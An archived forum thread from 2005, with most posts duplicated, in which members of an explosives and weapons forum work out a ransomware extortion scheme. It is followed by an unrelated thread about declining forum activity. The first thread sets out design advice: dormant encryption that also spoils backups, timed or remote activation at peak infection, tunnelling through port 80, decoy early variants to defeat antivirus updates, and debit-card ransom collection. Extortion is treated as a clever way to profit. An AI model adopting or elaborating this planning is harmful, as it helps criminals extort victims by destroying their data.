is incredibly small and quite secure to-date. If someone can compile this into an exectable (not that I'd run it on MY machine!
:p), that'd be handy.
Third_Rail July 13th, 2005, 11:09 PM

You, sir, are very intelligent. I think I'll pass this idea along and just see what happens.
Third_Rail July 13th, 2005, 11:09 PM

You, sir, are very intelligent. I think I'll pass this idea along and just see what happens.
controlphreak July 14th, 2005, 02:06 AM

I have thought of thigns like this, and the simultaneous thing is a good idea, and it's a one job run, however, I would be more
inclined to actually have it so that it was more.....agressive in defence. Colonise the copmuter, encrypt it, but lay ina dormant
area, of a chip, a piece of code that will call reinforcements to the computer to retake the computer if needed.

I have thought of thigns like this, and the simultaneous thing is a good idea, and it's a one job run, however, I would be more
inclined to actually have it so that it was more.....agressive in defence. Colonise the copmuter, encrypt it, but lay ina dormant
area, of a chip, a piece of code that will call reinforcements to the computer to retake the computer if needed.
sdjsdj July 14th, 2005, 06:01 AM

Perhaps it'd be better to release a few copies early, just to prove that it is what it says it is. After all, if everybody thinks you're
bluffing and that any halfdecent data recovery program will make it all better, you don't get rich. Of course, you'd have to build
in differences between the early release viruses and the final version, so that any anti-virus software updates intended to kill
the early release ones would do nothing to combat the final, nasty version.
sdjsdj July 14th, 2005, 06:01 AM

Perhaps it'd be better to release a few copies early, just to prove that it is what it says it is. After all, if everybody thinks you're
bluffing and that any halfdecent data recovery program will make it all better, you don't get rich. Of course, you'd have to build
in differences between the early release viruses and the final version, so that any anti-virus software updates intended to kill
the early release ones would do nothing to combat the final, nasty version.

One difficulty I see there is that most large corporations have a firewall that would inhibit the virus, both from spreading, and,
more importantly, from reaching the clock signal. Therefore it wouldn't know it was connected, and so wouldn't trigger.
Unless you tunneled it through port 80 traffic (assuming they use 80 for the proxy) then it would be ok, and no-one would
notice. The other option would be to look for a network time signal broadcast.
As for credit card payments, would they not be very easy to trace? I don't really know but then I'm not a card scammer...
You could make the payment amount a simple formula of $1 per gigabyte or something, and tell the mark. $200 dollars tops
for most people, lots more for most companies.
If you had the crypto sit silent for a few days, a lot of backups would also be worthless... You could just say that they were,
and, if checked and found working, that would be because the key was still in RAM!

One difficulty I see there is that most large corporations have a firewall that would inhibit the virus, both from spreading, and,
more importantly, from reaching the clock signal. Therefore it wouldn't know it was connected, and so wouldn't trigger.
Unless you tunneled it through port 80 traffic (assuming they use 80 for the proxy) then it would be ok, and no-one would
notice. The other option would be to look for a network time signal broadcast.
As for credit card payments, would they not be very easy to trace? I don't really know but then I'm not a card scammer...
You could make the payment amount a simple formula of $1 per gigabyte or something, and tell the mark. $200 dollars tops
for most people, lots more for most companies.
If you had the crypto sit silent for a few days, a lot of backups would also be worthless... You could just say that they were,
and, if checked and found working, that would be because the key was still in RAM!
me234 July 15th, 2005, 01:26 AM

If they all activated simultaneously, and only gave 15mins compliance time, what about time zones? half the people would be
asleep when their computers suddenly clicked on.
Also, why would you want to make a measly $400 000 when you could single-handedly render the majority of the worlds
computer contained information useless. You could screw over the entire business world on Earth. Now THAT is a thing of
beauty: shutting down the world...
He He. :D
me234 July 15th, 2005, 01:26 AM

If they all activated simultaneously, and only gave 15mins compliance time, what about time zones? half the people would be
asleep when their computers suddenly clicked on.
Also, why would you want to make a measly $400 000 when you could single-handedly render the majority of the worlds
computer contained information useless. You could screw over the entire business world on Earth. Now THAT is a thing of
beauty: shutting down the world...
He He. :D
nbk2000 July 15th, 2005, 12:24 PM

One of the four elements of "The Perfect Crime" is that it is done for profit, not revenge.
CC can usually be run as a debit, which is the desired thing, as that is instantly transferred as cash through the worlds banking
systems. Once it's transferred, it can be disappeared. :)
As for time zones, who cares? If you have millions of victims, then even half of that is still millions. :p
Again, only computers that are able to access the time-synch signal will activate the virus. All the others are simply dormant.
In fact, one could have the virus check in with another site, this site being an activator for the attack.
Since a virus has a curve to its life cycle, just like an other lifeform, where there's very few at first, then a rapid increase, a
plateau, and finally decline, the activator site monitors the viruses check-ins and, when they're at their peak infection,
activates the timed attack. :)
I'm not a virus writer, nor too terribly proficient in the neccessary internet protocols, but surely it can be done. And it will be
done, eventually.
To help along anyone who would like to learn more about this, I've attached a PDF scan of the books bibliography, which
covers the relevant details of the attacks and protocols.
nbk2000 July 15th, 2005, 12:24 PM

One of the four elements of "The Perfect Crime" is that it is done for profit, not revenge.
CC can usually be run as a debit, which is the desired thing, as that is instantly transferred as cash through the worlds banking
systems. Once it's transferred, it can be disappeared. :)
As for time zones, who cares? If you have millions of victims, then even half of that is still millions. :p
Again, only computers that are able to access the time-synch signal will activate the virus. All the others are simply dormant.
In fact, one could have the virus check in with another site, this site being an activator for the attack.
Since a virus has a curve to its life cycle, just like an other lifeform, where there's very few at first, then a rapid increase, a
plateau, and finally decline, the activator site monitors the viruses check-ins and, when they're at their peak infection,
activates the timed attack. :)
I'm not a virus writer, nor too terribly proficient in the neccessary internet protocols, but surely it can be done. And it will be
done, eventually.
To help along anyone who would like to learn more about this, I've attached a PDF scan of the books bibliography, which
covers the relevant details of the attacks and protocols.
FrankRizzo July 28th, 2005, 12:55 AM

Just write a book about it, you'll make more money and won't be chased around the world by a police organization. Most
businesses make regular backups of their data and wouldn't be bothered by some bullshit like this on their office PC. Hard
drives fail often enough these days that daily backups are the norm.
FrankRizzo July 28th, 2005, 12:55 AM

Just write a book about it, you'll make more money and won't be chased around the world by a police organization. Most
businesses make regular backups of their data and wouldn't be bothered by some bullshit like this on their office PC. Hard
drives fail often enough these days that daily backups are the norm.
SiLenCe July 28th, 2005, 09:32 AM

I'm typically not very critical of the content of this forum... but that sir was one of the worst ideas I've seen purposed on this
forum in a serious tone. Perhaps it's because I know a little bit more on internet security than most topics discussed here... ...
Regardless... regardless... before I get off topic - That sir (with all my experiences in the topic) was one of the worst ideas I've
seen purposed on this forum in a serious tone.
I know this is an explosives and weapons forums and with content and focus nowhere near what you'd expect in an internet
security or blackhat forum... so I forgive the users here for encouraging the silliness. Additionally, I forgive nbk2000 for I
understand internet security is not his primary interest; I do not think less of him (I'm well aware of his substantial
intelligence) ... I just do not feel it is extremely versed in this topic as most forumites.
Now first lets not get into the nitty-gritty technicalities of this topic... for we don't need to since the poor (fallacious even)
design is very apparent in the theory let alone the reality. So with that... let's assume we can make such a virus. We make a
virus and by some mystical means we are able to transport it to millions of computers... (since we're using a high-spreading
worm like Melissa as our model for propagation... we'll make-believe for now this model works). Ok we have access to millions
of computers... people even talked about business networks ... oh my... so we are on home computers and e-commerce
networks and controlling a plethora of online resources that process transactions and store information/records. So yeah... we
are covertly powering the information module of the electronic world... and oh the information at this point is boundless... we
have home computers doing purchases and accessing online banking while our corporate machines are processing databases
with credit entries and merchandise directing. Ok we got to this phase 1 by our mystical means... so what do we do? We
destroy all this information, be completly overt, and request $20......... Anyone else now looking at this the way I'm looking at
it?
So hopefully you all see the problem in this thought... and should redirect your focus on information gathering rather hardware
encryption... oh wait there already is a big project on this.... Spyware.
Just for food for thought - no one really knows how much scammed money is being funneled by the Spyware developers... but
it was estimated $4 billion. Look for a securityfocus article on it. There's billions to be made in hacking of information
security.... truly there is - so if that's your intent don't quit looking in this region. Just think your ideas more thoroughly.
Theres a great deal more to be said about your concepts of viral production and propogation. However there's tons of
information out there to correct these false-perceptions. Just assume everything you know was taught to you from the
anarchist cookbook... because there's just as many misconceptions about 'hacking' as there are about 'explosives' and if you
all were to be on a blackhat forum... you would sound there what a 'kewl' sounds like here. So the information is abundant!
http://www.securityfocus.com ... bugtraq.... good starts? I don't know the best start is a programming book.
So that was my first post after lurking forever... I should follow up here. And I'm always around.
-SiLenCe
SiLenCe July 28th, 2005, 09:32 AM

I'm typically not very critical of the content of this forum... but that sir was one of the worst ideas I've seen purposed on this
forum in a serious tone. Perhaps it's because I know a little bit more on internet security than most topics discussed here... ...
Regardless... regardless... before I get off topic - That sir (with all my experiences in the topic) was one of the worst ideas I've
seen purposed on this forum in a serious tone.
I know this is an explosives and weapons forums and with content and focus nowhere near what you'd expect in an internet
security or blackhat forum... so I forgive the users here for encouraging the silliness. Additionally, I forgive nbk2000 for I
understand internet security is not his primary interest; I do not think less of him (I'm well aware of his substantial
intelligence) ... I just do not feel it is extremely versed in this topic as most forumites.
Now first lets not get into the nitty-gritty technicalities of this topic... for we don't need to since the poor (fallacious even)
design is very apparent in the theory let alone the reality. So with that... let's assume we can make such a virus. We make a
virus and by some mystical means we are able to transport it to millions of computers... (since we're using a high-spreading
worm like Melissa as our model for propagation... we'll make-believe for now this model works). Ok we have access to millions
of computers... people even talked about business networks ... oh my... so we are on home computers and e-commerce
networks and controlling a plethora of online resources that process transactions and store information/records. So yeah... we
are covertly powering the information module of the electronic world... and oh the information at this point is boundless... we
have home computers doing purchases and accessing online banking while our corporate machines are processing databases
with credit entries and merchandise directing. Ok we got to this phase 1 by our mystical means... so what do we do? We
destroy all this information, be completly overt, and request $20......... Anyone else now looking at this the way I'm looking at
it?
So hopefully you all see the problem in this thought... and should redirect your focus on information gathering rather hardware
encryption... oh wait there already is a big project on this.... Spyware.
Just for food for thought - no one really knows how much scammed money is being funneled by the Spyware developers... but
it was estimated $4 billion. Look for a securityfocus article on it. There's billions to be made in hacking of information
security.... truly there is - so if that's your intent don't quit looking in this region. Just think your ideas more thoroughly.
Theres a great deal more to be said about your concepts of viral production and propogation. However there's tons of
information out there to correct these false-perceptions. Just assume everything you know was taught to you from the
anarchist cookbook... because there's just as many misconceptions about 'hacking' as there are about 'explosives' and if you
all were to be on a blackhat forum... you would sound there what a 'kewl' sounds like here. So the information is abundant!
http://www.securityfocus.com ... bugtraq.... good starts? I don't know the best start is a programming book.
So that was my first post after lurking forever... I should follow up here. And I'm always around.
-SiLenCe
Pb1 August 9th, 2005, 07:23 PM

I doubt this ranso m thin g would work too well. Most people would just think, OMG, a viru s! Better turn o ff the computer and
call tech support! Many others would ignore it, thinking the warning is only some po pup add or somethin g. Never
u n d e restimate the stupidity of the masses. I apologize if I m preaching to the choir here.
One thing I don t really get: why encrypt the data ? If no-one will actually get the ke ys, wouldn t it be easier to overwrite all
files with random gibberish?
Jacks Complete August 10th, 2005, 06:41 AM

To those of you who are saying this isn't possible or would not work, there have been viruses that do this for years.
http://uk.trendmicro-europe.com/enterprise/vinfo/encyclopedia.php?LYstr=VMAINDATA&vNav=3&VName=ONE_HALF.3570 is one
example. A much more recent one, is reported at http://www.cnn.com/2005/TECH/internet/05/25/ransomware/
Silentnite August 10th, 2005, 02:50 PM

It's been awhile since I coded, and even then it wasn't in C or anything Higher, But wouldn't it be more complex of a virus to
include a tracking system to send you all this financial tracking information? It would seem that NBK's idea is the simplest.
A virus in say a popularly downloaded program, even mozilla, say the prog has plug-ins for the checksum being different. As
its not doing anything malicious, no one would know until too late.
Its not monitoring anything, so no running processes until say a specified date, so once again undetectable. Maybe you could
even force a system restore point so its in the backup on the computer.
Needless to say its not impossible. Hard, of course. But then it wouldn't be worth doing.
controlphreak August 15th, 2005, 03:32 PM

I don't travel a lot of 'black hat' groups and forums, but I will say that this is probable in my oppinion. Looking at how viruses
like Mellissa spread and I love you and Happy '99, I can say that people are dumb enough to do that.
Now I will agree that people might not cough up for money if they are threatened or ransomed or somehting liek that, though
I beleive a better way would be to offer them something to buy and get their information.
This would be a virus of sorts,it actually seems almost a lot more liek a trojan liek the AIDS trojan that wena round for a while,
encrypted yoru hard drive, and then demanded a ransom be sent to a specific address to get the key to unlock it.
To spread it on the way you are talking though, in order to hit organizations, what is a program all organizations or a majority
of the organizations use that is downloaded off the internet, that you can intercept in some way and upload a program that is
exactly the same, but has a trojan on it?
Just osme thoughts.....
SiLenCe August 18th, 2005, 07:48 AM

To those of you who are saying this isn't possible or would not work, there have been viruses that do this for years.
http://uk.trendmicro-europe.com/enterprise/vinfo/encyclopedia.php?LYstr=VMAINDATA&vNav=3&VName=ONE_HALF.3570 is one
example. A much more recent one, is reported at http://www.cnn.com/2005/TECH/internet/05/25/ransomware/
I am not all too sure if your reply was directed at myself... but taking the assumption that it was: My little rant was not really
stating that the idea wouldn't really work at the scale mentioned (which it probally wouldn't)... but rather it was saying that if
one could get to that point of control there are much more efficient covert, and enduring methods for retrieving money.
But wouldn't it be more complex of a virus to include a tracking system to send you all this financial tracking information?
Of course! But honestly as any proficient coder could tell you - anyone with the programming ability to design a worm that
would covertly proliferate in the manner mentioned here would be MORE than qualified to code such a program with ease...
and by ease I mean ease.
Looking at how viruses like Mellissa spread and I love you and Happy '99, I can say that people are dumb enough to do that.
Now there is a fatal flaw in this model that keeps being thrown around... We are conjuring a program that will spread without
any public awareness... without setting off all the red flags. To do this would require much much care. Esspecially a program as
outlined here... we can't have a single whistleblower it would require that not ONE person discover the program (which is a
ridiculous requirement given the nature of computers and the feasability of reverse engineering).
From Melissa to ILOVEYOU to CodeRed to Blaster.... most of all examples of fast propogating malware were detected and
reverse engineered and had the whistle blown before the pair of days of proliferation was over... if it was a widespread ransom
virus Feds would have the Credit Card droppoint tracked before the first deposit. As all of you could probally recall you probally
sat down at your TV watching their projections of a burst in action for CodeRed in it's second variant because anyone who
mattered knew about it... there's people that monitor this sort of traffic and who are very well-skilled at their job. Sure you
could get it on peoples computer - but the program will be long cracked before you get your first 1,000 infections... and at that
point it's useless to you.
People are stupid - people are stupid - people are stupid... that's a big attribute we're exploiting here... but in the process
we're being stupid ourselves. Again 1) there are more efficient methods to attack this problem... and 2) the original and
inefficient idea is fallacious anyhow...
There are still many points to touch up on this... no one even mentioned the hell the money laundering with this sort of
project will give you. And again if we went to make believe land and pretended this could work... if someone knew a way to
collect and launder all this money in such a short time frame... I'd be very, very, very interested to hear.
SiLenCe
Transparent Entity
TheHitMan August 20th, 2005, 03:24 PM

Someones been watching Swordfish too much..
nbk2000 September 29th, 2005, 02:34 PM

Silicon doesn't wear out; microchips are effectively immortal. NBK took notice of the fact. Like every other child of the digital
age, however, he knew that silicon became obsolete, which was worse than wearing out.
NBK reasoned that all that obsolete silicon had to be going somewhere.
Where it was going, he learned, was into any number of places struggling along with nascent computer users. Users so
intellectually benighted that the concept of "Instant winner! Just click here!" was something still taken seriously.
After launching his extortion virus, he waited for it to propagate through the net, knowing that it would remain silent and
invisible in the background, burying itself deeply in the target computers, doing everything possible to remain hidden (even
committing sepeku if need be) while doing it's duty.
After a few weeks, at the appointed time, NBK punched himself through a couple of back-water ISPs and waited for the virus to
make its presence known to the millions of victims it had infected.
NBK felt like a shark cruising a swimming pool thick with goldfish. Not that any one of those tasty tiny fish amounted to much,
but he could just open wide and scoop, and it was easy and filling and it added up.
NBK worked the AOLamers for 15 minutes, incidentally bringing about the collapse of at least three ISP's, the extinction of
hundreds of small businesses, and untold CIO and CSO suffering.
At the end of his run, fat with the cream of several million laughably tiny 'donations', he retired.
As he was going out, the script-kiddies were coming in; other people had gotten the crypto-ransom virus idea, an idea he had
deliberately spread to add noise to any search for him.
You've now got the gist of the crypto-ransom virus concept. :p
You say 'Backup' like it's some magic charm that'll ward off the evil of the virus.
It won't.
You've failed to grasp the fact that the virus sits, invisible and patient, encrypting everything transparently in the background,
including all backups, made from that machine, and doesn't make its presence known until some time later.
Anything that it's encrypted is decrypted when the user accesses it. There'll be a bit of a performance hit as it takes time to
decrypt/encrypt, but that'd likely be discounted as a typical PC problem, not an extortional virus.
How many people keep running backup copies stretching back months? None that I know of. The usual idea of a backup for
most people and businesses is a ZIP disk or a RAID mirroring that's only a day old or so, which doesn't save their ass. :p
Even if it's months back, how far back can a company go into its archives for an accessible copy before the data is too old to
be useful. Imagine a mortage or credit company having no record of it's last month of payments due.
Even a few days lost data can translate to many tens or hundreds of thousands of dollars of lost real income, not the phantom
dollars that are often quoted by reports about the latest e-mail worm.
And what about the millions of AOLamers who don't have backups of any kind, but have gigabytes upon gigabytes of stuff
they've downloaded from i-tunes or such?
What would be cheaper? Paying someone $20 to keep your shit? Or watching it all disappear into pseudo-random ciphertext
and now having to spend many days and dollars to re-aquire everything, a lot of which will never found again, the internet
being as temporous as it is.
You suggest that my idea is trite, but trying to control the entire system, as you're suggesting, is both pointless and
dangerous.
Pointless because it's unneccesary to control the system to get money, and dangerous because it transforms you from a
criminal to a terrorist.
Criminals have rights and trials. Terrorists disappear into a black hole called Quantanamo.
Besides, people who think they've got control of the box usually find themselves locked out and with the FBI soon knocking on
their door, proving they're not as skilled as they imagined themselves to be. Heeeeehehehe! :p
Also, I'd like to point out (again!) that this has already been done in a minor way, and has been discussed on Bruce Schneiers
weblog (http://www.schneier.com/blog/)...you know, the guy who LITERALLY wrote the bible of computer cryptography (Applied
Cryptography) and a recognized expert in computer security, who says this is coming?
Oh, and the guy who came up with the crypto-virus idea wrote a book about his research...the research he did for his computer
sciences doctorate from MIT...but what the fuck does he know, he's just a script-kiddie wanna-be, right? :rolleyes:
Real blackhats (not script-kiddie posers) that may be working on this aren't going to talk about it in a public forum like this
one, and I seriously doubt you have the chops to be implying that you're a serious black hat yourself, let alone openly claim
it.
Putting me and others here down for not being 'real' H@X0Rz, when no one here is claiming to be one is just....*sigh*
Saying 'This obviously won't work!', while all the while not giving any counterpoints as to WHY it wouldn't work, just stinks of
'Instant Expert'.
I don't mind criticism as long as it's back by some kind of evidence or counter-proof or properly constructed argument to back
it up, not just 'You SUK!' type statements, no matter how convoluted the phrasing may be.
I've provided the almost 400 references from the book that lay the technical groundwork to back up the concept, a concept
conceived and seconded by experts in their fields, fields HIGHLY relevant to the topic being discussed.
You've provided a few vague statements and two URLs to sites that are distantly related to the topic at hand.
Your attempt at sounding scholarly just makes you sound foolish, since your syntax is akward and poorly constructed, the
signature of a word-processed document created by a semi-literate user. Oh, and the copy/paste re-use of a sentence,
especially in the very first paragraph, is just sheer laziness.
If you can't properly talk the talk, you need a big helping of STFU (Shut The Fuck Up!). ;)
And in the future, when something like this inevitably comes to pass (months or years from now), will you come back here and
apologize for your foolishness, or will you just simply disappear so you won't have to admit to a 'Failure of Imagination' on
your part? I think the latter.
Oh, don't worry, I'm not going to ban you. It's soooo much more fun to let an idiot dig himself deeper into his own grave with
the shovel I provide 'em.
Feels good to have something juicy to tear into after such a long diet of generic K3wLz that left me feeling almost like a victim
of winter-rabbit starvation.
+++++++++
PS: This post (and every other I make) is written in Notepad without the aid of word-processor spell-checking or grammer
correction.
All me, all the time.
James October 17th, 2005, 02:25 AM

I'm not really impressed by the xtree algorithm. I think DES would work considerably better. Cast or AES would be right on.
Also the gibsonesque quote is neat. I think the way to manage it would be to replace file system with something that replaces
only some of the data w/ symetricly ciphered data. The key could then be sent (asymetricly chiphered) to wherever. You would
also need to replace the backup drivers.
nbk2000 April 27th, 2006, 12:23 PM

Dear SiLenCe,
Read it and weep. :p
http://www.schneier.com/blog/archives/2006/04/new_directions.html#comments

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Why so little discussion?
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View Full Version : Why so little discussion?

I'm curious. Why has the level of posting dropped so far in the forum?

I'm curious. Why has the level of posting dropped so far in the forum?

My post count has dropped drastically and is half of the initial rate. In begining I was thrilled that some place like this is still
on web due to numerous banning/shutdown of chemistry related sites. I don't have lot of topics started, but I tried to be
constructive in the ways I saw certain topics and to post some good links I hope. For the time being I'm happy in just looking
into archive - expanding my knowledge, and I hope that it is just summer vacation for everyone around that makes posting
count go down.
I'm not a terrorist, I condemn their ways of fight, but this haunting against chemistry sites reminds me on medieval time when
Vatican banned practicing of alchemy and particulary astronomy and physics (laws of motion etc.). If it was up to them we
would still thinking that Earth isn't round but plate. Wolves want go away if you kill the lambs...they will find another food
source most likely you. This works both for the terrorist and for goverment IDiots - fight them do not indulge them.

My post count has dropped drastically and is half of the initial rate. In begining I was thrilled that some place like this is still
on web due to numerous banning/shutdown of chemistry related sites. I don't have lot of topics started, but I tried to be
constructive in the ways I saw certain topics and to post some good links I hope. For the time being I'm happy in just looking
into archive - expanding my knowledge, and I hope that it is just summer vacation for everyone around that makes posting
count go down.
I'm not a terrorist, I condemn their ways of fight, but this haunting against chemistry sites reminds me on medieval time when
Vatican banned practicing of alchemy and particulary astronomy and physics (laws of motion etc.). If it was up to them we
would still thinking that Earth isn't round but plate. Wolves want go away if you kill the lambs...they will find another food
source most likely you. This works both for the terrorist and for goverment IDiots - fight them do not indulge them.
TheHitMan July 18th, 2005, 03:15 PM

There is hardly any people posting now for the fact NBK has banned most of them, for one reason or another. A lot of the old
(read: good) members just don't like the way the forum is moderated. Including a few of the old moderators. (Zaibatsu,
Bitter, to name a few)

There is hardly any people posting now for the fact NBK has banned most of them, for one reason or another. A lot of the old
(read: good) members just don't like the way the forum is moderated. Including a few of the old moderators. (Zaibatsu,
Bitter, to name a few)

TheHitMan, would that be a vote for number three, then? They don't want to get banned for coming across as retards?
I do agree a bit, actually. I think NBK does sometimes go a bit too hard on people for perceived slights.
Over-moderation is as bad as no moderation in many ways. Another board I'm on has a mod who just seemed out to get me,
but then I see that almost no-one posts there now, so I figure he has said the same to others, so no-one wants to get kicked
out... So no-one posts, and slowly, no-one visits.
I'm not saying all the lamers should be allowed to do as they please, of course. The noise filter here is set high for a reason.
But once the noise filter cuts out too much, you start to lose the meaning in the signal, too.

TheHitMan, would that be a vote for number three, then? They don't want to get banned for coming across as retards?
I do agree a bit, actually. I think NBK does sometimes go a bit too hard on people for perceived slights.
Over-moderation is as bad as no moderation in many ways. Another board I'm on has a mod who just seemed out to get me,
but then I see that almost no-one posts there now, so I figure he has said the same to others, so no-one wants to get kicked
out... So no-one posts, and slowly, no-one visits.
I'm not saying all the lamers should be allowed to do as they please, of course. The noise filter here is set high for a reason.
But once the noise filter cuts out too much, you start to lose the meaning in the signal, too.
Ropik July 18th, 2005, 04:21 PM

I do not want to get kicked out. That's it. I only post if I'm absolutely sure that the thing I am going to post wasn't
mentioned, that it is informative and innovative, that it is... And I am not sure most of the time (to be fair, sometimes it's
because the post would be empty like an old oil drum) so I simply don't post.
Little discussion is taking place here because to discuse is to share thoughts, opinions and informations. Anything other than
informations can be considered post-whoring here, so I am (and I am not alone, evidently) afraid to post the remaining two
things.
Ropik July 18th, 2005, 04:21 PM

I do not want to get kicked out. That's it. I only post if I'm absolutely sure that the thing I am going to post wasn't
mentioned, that it is informative and innovative, that it is... And I am not sure most of the time (to be fair, sometimes it's
because the post would be empty like an old oil drum) so I simply don't post.
Little discussion is taking place here because to discuse is to share thoughts, opinions and informations. Anything other than
informations can be considered post-whoring here, so I am (and I am not alone, evidently) afraid to post the remaining two
things.
DirtyDan July 18th, 2005, 04:36 PM

Moderation has let up alot though, you have to admit. I think we are at a happy medium, and I havnt seen any additions to
the BFL in a long time! I have not posted anything mostly because all my projects are on hold for who knows how long... All Im
doing this summer anymore is working, running, and hanging out with my "friend".
After I found this forum, I experimented with quite a few things (candy rockets, AP, MEKP, hexamine, nitric acid production)
But I didnt really know where to go from there and after a while lost interest. I've been reading feynmann lately, but thats
about it.
I frequent 4hv.org and have shifted my focus to the electronics side, made a tesla coil and whatnot. The reason I mention
them however is that they are similarly running out of innovative discussions and most of what is discussed over there is legal
(or atleast not something branded as terrorist-related)
DirtyDan July 18th, 2005, 04:36 PM

Moderation has let up alot though, you have to admit. I think we are at a happy medium, and I havnt seen any additions to
the BFL in a long time! I have not posted anything mostly because all my projects are on hold for who knows how long... All Im
doing this summer anymore is working, running, and hanging out with my "friend".
After I found this forum, I experimented with quite a few things (candy rockets, AP, MEKP, hexamine, nitric acid production)
But I didnt really know where to go from there and after a while lost interest. I've been reading feynmann lately, but thats
about it.
I frequent 4hv.org and have shifted my focus to the electronics side, made a tesla coil and whatnot. The reason I mention
them however is that they are similarly running out of innovative discussions and most of what is discussed over there is legal
(or atleast not something branded as terrorist-related)
meselfs July 18th, 2005, 05:44 PM

I chose the second option since I really don't have much knowledge to share.
But I think this forum has gone half capacity mainly due to the month long outage we had.
meselfs July 18th, 2005, 05:44 PM

I chose the second option since I really don't have much knowledge to share.
But I think this forum has gone half capacity mainly due to the month long outage we had.
tmp July 18th, 2005, 06:13 PM

None of the above. Time is my enemy. Most time is spent working or
sleeping and right now I'm spending most of my free time working on
the FTP.
tmp July 18th, 2005, 06:13 PM

None of the above. Time is my enemy. Most time is spent working or
sleeping and right now I'm spending most of my free time working on
the FTP.
Dave Angel July 18th, 2005, 06:15 PM

A few reasons boiling down to one:
My hobby interests have swung away from chemistry/electronics/E&W a bit, my projects stall a bit and I don't come back to
them for a long while. Some of my recent stuff was more general chemistry suited to SM, and there was the outage here - I
found the lack of discussion strangely demotivating!
So 2nd option: Nothing worth saying really bar the bit about BBC news earlier.
Maybe it'll all change during the summer.

A few reasons boiling down to one:
My hobby interests have swung away from chemistry/electronics/E&W a bit, my projects stall a bit and I don't come back to
them for a long while. Some of my recent stuff was more general chemistry suited to SM, and there was the outage here - I
found the lack of discussion strangely demotivating!
So 2nd option: Nothing worth saying really bar the bit about BBC news earlier.
Maybe it'll all change during the summer.
Cyclonite July 18th, 2005, 08:45 PM

Iv lost some of my E&W motivation....i post once and a great while now. Im not worried about getting banned....if i think its
worth saying then ill say it
Cyclonite July 18th, 2005, 08:45 PM

Iv lost some of my E&W motivation....i post once and a great while now. Im not worried about getting banned....if i think its
worth saying then ill say it
Silentnite July 19th, 2005, 02:43 AM

None of the above. For the most part I'm concentrating on my job, working a ton of overtime while its available. Saving
money, and getting ready for the big move. School starts up again soon, so I have that to get started as well.
Beyond that, I've always had a problem keeping my mouth shut, if I have an opinion I voice it rather readily.
Banning would be unfortunate, but not the end of the world. I post to my standards, and hope thats good enough.
But, it seems that most of the topics going on lately are either something I have little to no interest in, or nothing to add. I
am in deep dislike of "me too" posting.
The moderation truly isn't so bad. Its kept the majority of kewls out, and if it stems the tides of posting because people are
afraid, well, so? Step up and post if you think its worth posting. Don't be a chickenshit and worry about a banning if you think
you truly have something to say.
Silentnite July 19th, 2005, 02:43 AM

None of the above. For the most part I'm concentrating on my job, working a ton of overtime while its available. Saving
money, and getting ready for the big move. School starts up again soon, so I have that to get started as well.
Beyond that, I've always had a problem keeping my mouth shut, if I have an opinion I voice it rather readily.
Banning would be unfortunate, but not the end of the world. I post to my standards, and hope thats good enough.
But, it seems that most of the topics going on lately are either something I have little to no interest in, or nothing to add. I
am in deep dislike of "me too" posting.
The moderation truly isn't so bad. Its kept the majority of kewls out, and if it stems the tides of posting because people are
afraid, well, so? Step up and post if you think its worth posting. Don't be a chickenshit and worry about a banning if you think
you truly have something to say.

Kind of a combination of some of the above, and some that aren't above.
Most the time, I don't have anything worth mentioning. Sometimes, I don't want to say something that sounds overly stupid.
Sometimes someone else may have said it. Sometimes, I'm sure someone else will say it in a more
understandable manner. That list goes on...
Like others, I also have other things to do that take away my time (unfortunately).
As for over-moderation, I agree NBK may seem harsh at times, but it's the price you pay for a forum relatively free of idiots.
Even though not a lot of people post, I'm certain many people are active here anyway. The amount of guests online (when I'm
online) usually averages between 20-30.

Kind of a combination of some of the above, and some that aren't above.
Most the time, I don't have anything worth mentioning. Sometimes, I don't want to say something that sounds overly stupid.
Sometimes someone else may have said it. Sometimes, I'm sure someone else will say it in a more
understandable manner. That list goes on...
Like others, I also have other things to do that take away my time (unfortunately).
As for over-moderation, I agree NBK may seem harsh at times, but it's the price you pay for a forum relatively free of idiots.
Even though not a lot of people post, I'm certain many people are active here anyway. The amount of guests online (when I'm
online) usually averages between 20-30.
me234 July 19th, 2005, 06:06 AM

I think the Forum's absence got people used to not coming here very often, and not thinking about this stuff as often. Now
people are finding it hard to get back into the grove. To do so requires a bit of effort, and people are feeling lazy like after a
school holiday. Give them time and ask them lots of questions to keep them interested and get them back into the grove of
thinking again. Don't just post statements, ask questions. Asking questions is the key to improvement, to survival.
That's my opinion anyway.
So, what do the rest of you think?
me234 July 19th, 2005, 06:06 AM

I think the Forum's absence got people used to not coming here very often, and not thinking about this stuff as often. Now
people are finding it hard to get back into the grove. To do so requires a bit of effort, and people are feeling lazy like after a
school holiday. Give them time and ask them lots of questions to keep them interested and get them back into the grove of
thinking again. Don't just post statements, ask questions. Asking questions is the key to improvement, to survival.
That's my opinion anyway.
So, what do the rest of you think?
FUTI July 19th, 2005, 07:31 AM

Don't be to harsh to NBK. I frequently don't agree with his ways of treating weed kewls, but I have to admitt it is necessary. It
like with SPAM fillters, sometime someone escapes the killing-machine and sometimes potentially usefull member end up in
trash can, but you can't escape the use of filter unless you wan't to end up with inbox full of junk.

Don't be to harsh to NBK. I frequently don't agree with his ways of treating weed kewls, but I have to admitt it is necessary. It
like with SPAM fillters, sometime someone escapes the killing-machine and sometimes potentially usefull member end up in
trash can, but you can't escape the use of filter unless you wan't to end up with inbox full of junk.
hereno July 19th, 2005, 09:11 AM

I personally think the reason is the crimal context most things are posted under here, most people do tend to grow out of
posting crime schemes on the internet :p
It's also a fact that no longer is all the best discussion on roguesci. People have migrated for whatever reason to SM for
chemistry/novel energetics and to APC for pyrotechnics where the level of discussion is very high, and motivation innocent. Any
discussion of criminal activity will be shot down on these forums as kewl, here for some reason its glorified, I would think this
would drive away many mature members interested only with hobbiest E&W.
I do believe NBK gets his jollies by standing over people, A number of people were banned for simply holding a difference in
opinion, no matter how senior they were (Archangel for example). People who know there shit arent going to be stood over,
when they can simply leave (Philou for example). Anyway, I guess I'm saying that theres a cartain type of very desirable
people that you will never see posting here for the above reasons, Its like the geeks growing up, to only pity the bullies.
hereno July 19th, 2005, 09:11 AM

I personally think the reason is the crimal context most things are posted under here, most people do tend to grow out of
posting crime schemes on the internet :p
It's also a fact that no longer is all the best discussion on roguesci. People have migrated for whatever reason to SM for
chemistry/novel energetics and to APC for pyrotechnics where the level of discussion is very high, and motivation innocent. Any
discussion of criminal activity will be shot down on these forums as kewl, here for some reason its glorified, I would think this
would drive away many mature members interested only with hobbiest E&W.
I do believe NBK gets his jollies by standing over people, A number of people were banned for simply holding a difference in
opinion, no matter how senior they were (Archangel for example). People who know there shit arent going to be stood over,
